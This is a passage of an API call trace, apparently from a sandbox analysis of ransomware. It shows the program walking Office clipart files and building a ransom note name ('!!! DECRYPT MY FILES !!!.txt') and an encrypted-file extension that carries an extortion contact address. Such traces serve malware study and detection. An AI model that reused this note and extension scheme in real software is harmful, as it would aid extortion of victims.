office\\root\\clipart\\pub60cor\\dd00256_.wmf") returned 0x44 [0135.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.772] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.772] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.772] GetProcessHeap () returned 0x630000 [0135.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x264) returned 0x670860 [0135.772] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0135.772] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 1 [0135.772] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf") returned 0x44 [0135.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.772] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.772] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.772] GetProcessHeap () returned 0x630000 [0135.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x268) returned 0x670860 [0135.773] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0135.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 1 [0135.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf") returned 0x44 [0135.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.773] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.773] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.773] GetProcessHeap () returned 0x630000 [0135.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x26c) returned 0x670860 [0135.773] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0135.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 1 [0135.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf") returned 0x44 [0135.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.774] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.774] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.774] GetProcessHeap () returned 0x630000 [0135.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x270) returned 0x670860 [0135.774] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0135.774] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 1 [0135.774] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf") returned 0x44 [0135.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.582] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.582] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.582] GetProcessHeap () returned 0x630000 [0137.582] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x224) returned 0x670860 [0137.582] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0137.582] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 1 [0137.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf") returned 0x44 [0137.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.583] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.583] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.583] GetProcessHeap () returned 0x630000 [0137.583] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x228) returned 0x670860 [0137.583] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0137.583] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 1 [0137.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf") returned 0x44 [0137.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.583] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.583] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.583] GetProcessHeap () returned 0x630000 [0137.583] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x22c) returned 0x670860 [0137.583] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0137.584] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 1 [0137.584] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf") returned 0x44 [0137.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.584] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.584] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.584] GetProcessHeap () returned 0x630000 [0137.584] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x230) returned 0x670860 [0137.584] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0137.584] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 1 [0137.584] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf") returned 0x44 [0137.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.585] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.585] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.585] GetProcessHeap () returned 0x630000 [0137.585] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x234) returned 0x670860 [0137.585] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0137.585] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 1 [0137.585] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf") returned 0x44 [0137.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.585] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.585] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.585] GetProcessHeap () returned 0x630000 [0137.585] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x238) returned 0x670860 [0137.586] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0137.586] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 1 [0137.586] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf") returned 0x44 [0137.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.586] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.586] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.586] GetProcessHeap () returned 0x630000 [0137.586] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x23c) returned 0x670860 [0137.586] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0137.586] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 1 [0137.586] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf") returned 0x44 [0137.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.587] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.587] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.587] GetProcessHeap () returned 0x630000 [0137.587] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x240) returned 0x670860 [0137.587] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0137.587] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 1 [0137.587] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf") returned 0x44 [0137.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.587] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.587] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.588] GetProcessHeap () returned 0x630000 